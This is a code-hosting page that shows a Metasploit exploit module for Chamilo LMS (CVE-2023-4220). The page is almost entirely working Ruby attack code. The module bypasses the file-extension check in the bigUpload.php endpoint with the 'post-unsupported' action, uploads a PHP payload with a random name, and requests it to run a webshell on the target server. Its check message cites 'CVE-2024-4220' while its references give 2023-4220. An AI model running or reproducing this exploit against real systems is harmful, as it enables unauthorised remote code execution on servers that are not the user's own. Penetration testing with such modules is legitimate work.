Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Path: blob/master/modules/exploits/linux/http/chamilo_bigupload_webshell.rb
Views: 15995
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper10prepend Msf::Exploit::Remote::AutoCheck1112class UploadFileError < StandardError; end1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Chamilo v1.11.24 Unrestricted File Upload PHP Webshell',19'Description' => %q{20Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.2421a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to22`post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to:23`/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist24by default.25},26'Author' => [27'Ngo Wei Lin', # discovery28'jheysel-r7' # module29],30'References' => [31[ 'URL', 'https://starlabs.sg/advisories/23/23-4220/'],32[ 'URL', 'https://github.com/H4cking4All/CVE-2023-4220/tree/main'],33[ 'CVE', '2023-4220']34],35'License' => MSF_LICENSE,36'Platform' => %w[php],37'Privileged' => false,38'Arch' => [ ARCH_PHP ],39'Targets' => [40[41'PHP',42{43'Platform' => ['php'],44'Arch' => ARCH_PHP45}46],47],48'DisclosureDate' => '2023-11-28',49'Notes' => {50'Stability' => [ CRASH_SAFE, ],51'SideEffects' => [ ARTIFACTS_ON_DISK, ],52'Reliability' => [ REPEATABLE_SESSION, ]53}54)55)56end5758def check59res = send_request_cgi(60'method' => 'GET',61'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/files/')62)6364return CheckCode::Safe('The directory /main/inc/lib/javascript/bigupload/files/ does not exist on the target') if res&.code == 4046566print_good('The directory /main/inc/lib/javascript/bigupload/files/ exists on the target indicating the target is vulnerable.')67test_file_content = rand_text_alphanumeric(8)68test_file_name = rand_text_alphanumeric(8)6970begin71upload_file(test_file_content, test_file_name)72rescue UploadFileError => e73return CheckCode::Safe("#{e.class}:#{e}")74end7576CheckCode::Vulnerable('File upload was successful (CVE-2024-4220 was exploited successfully).')77end7879def upload_file(file_contents, file_name)80vars_form_data = [81{82'name' => 'bigUploadFile',83'data' => file_contents,84'filename' => file_name,85'mime_type' => 'application/octet-stream'86}87]8889res = send_request_cgi(90'method' => 'POST',91'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/inc/bigUpload.php'),92'vars_form_data' => vars_form_data,93'vars_get' => {94'action' => 'post-unsupported'95}96)9798raise UploadFileError, 'The file upload failed.' unless res&.code == 200 && res&.body == 'The file has successfully been uploaded.'99100register_file_for_cleanup(file_name)101end102103def exploit104file_contents = payload.encoded105file_name = "#{Rex::Text.rand_text_alpha(8..16)}.php"106107begin108upload_file(file_contents, file_name)109rescue UploadFileError => e110fail_with(Failure::UnexpectedReply, "#{e.class}:#{e}")111end112113send_request_cgi({114'method' => 'GET',115'uri' => normalize_uri('/main/inc/lib/javascript/bigupload/files', file_name)116})117end118end119120121